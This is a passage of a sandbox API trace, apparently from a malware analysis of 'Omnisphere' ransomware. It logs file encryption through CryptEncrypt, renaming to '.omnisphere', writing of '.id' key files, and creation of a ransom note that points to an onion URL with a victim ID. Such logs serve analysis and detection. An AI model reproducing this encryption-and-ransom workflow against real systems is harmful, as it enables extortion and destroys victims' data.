pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.305] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.308] CryptDestroyKey (hKey=0x1639868) returned 1 [0165.308] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0165.308] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xf5c2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.308] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0165.308] GetProcessHeap () returned 0x1600000 [0165.308] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x268) returned 0x17766e8 [0165.308] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\xc7z5aw2.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\xc7z5aw2.jpg.omnisphere")) returned 1 [0165.309] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg.omnisphere.id" [0165.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\xc7z5aw2.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0165.310] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0165.311] CloseHandle (hObject=0x3bc) returned 1 [0165.311] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0165.312] CloseHandle (hObject=0x380) returned 1 [0165.312] SetEndOfFile (hFile=0x39c) returned 1 [0165.312] FlushFileBuffers (hFile=0x39c) returned 1 [0165.403] CloseHandle (hObject=0x39c) returned 1 [0165.403] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0165.403] GetProcessHeap () returned 0x1600000 [0165.403] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1776958 [0165.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.403] GetProcessHeap () returned 0x1600000 [0165.403] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733a40 [0165.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733a40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0165.403] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0165.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.403] GetProcessHeap () returned 0x1600000 [0165.403] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f620 [0165.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f620, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0165.404] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0165.404] GetProcessHeap () returned 0x1600000 [0165.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773c40 [0165.404] PathCombineW (in: pszDest=0x1773c40, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0165.404] GetProcessHeap () returned 0x1600000 [0165.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1752998 [0165.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.404] WriteFile (in: hFile=0x39c, lpBuffer=0x1752998*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1752998*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0165.404] CloseHandle (hObject=0x39c) returned 1 [0165.404] GetProcessHeap () returned 0x1600000 [0165.405] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1776958 | out: hHeap=0x1600000) returned 1 [0165.405] GetProcessHeap () returned 0x1600000 [0165.405] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0165.405] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0165.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.405] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0165.405] CloseHandle (hObject=0x39c) returned 1 [0165.405] GetProcessHeap () returned 0x1600000 [0165.405] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0165.405] GetProcessHeap () returned 0x1600000 [0165.405] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d538 | out: hHeap=0x1600000) returned 1 [0165.405] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7864aa0, ftCreationTime.dwHighDateTime=0x1d4d211, ftLastAccessTime.dwLowDateTime=0xf831aa50, ftLastAccessTime.dwHighDateTime=0x1d4cef9, ftLastWriteTime.dwLowDateTime=0xf831aa50, ftLastWriteTime.dwHighDateTime=0x1d4cef9, nFileSizeHigh=0x0, nFileSizeLow=0x14b40, dwReserved0=0x0, dwReserved1=0xf5, cFileName="XpzbuGntc-6.odt", cAlternateFileName="XPZBUG~1.ODT")) returned 1 [0165.405] GetProcessHeap () returned 0x1600000 [0165.406] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5e) returned 0x1692190 [0165.406] PathCombineW (in: pszDest=0x1692190, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="XpzbuGntc-6.odt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt") returned="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt" [0165.406] StrStrW (lpFirst=".omnisphere", lpSrch=".odt") returned 0x0 [0165.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\xpzbugntc-6.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.406] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=84800) returned 1 [0165.406] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x1461c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.406] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0165.406] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.407] GetTickCount () returned 0x116911c [0165.408] GetTickCount () returned 0x116911c [0165.408] GetTickCount () returned 0x116911c [0165.408] GetTickCount () returned 0x116911c [0165.408] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668570) returned 1 [0165.408] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639968) returned 1 [0165.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0165.408] CryptDestroyKey (hKey=0x1639968) returned 1 [0165.408] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0165.408] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14b40, lpName=0x0) returned 0x380 [0165.409] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14b40) returned 0x14a0000 [0165.410] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0165.410] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16394e8) returned 1 [0165.410] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0165.410] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0165.410] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.410] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.410] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.410] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.410] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.410] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.411] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 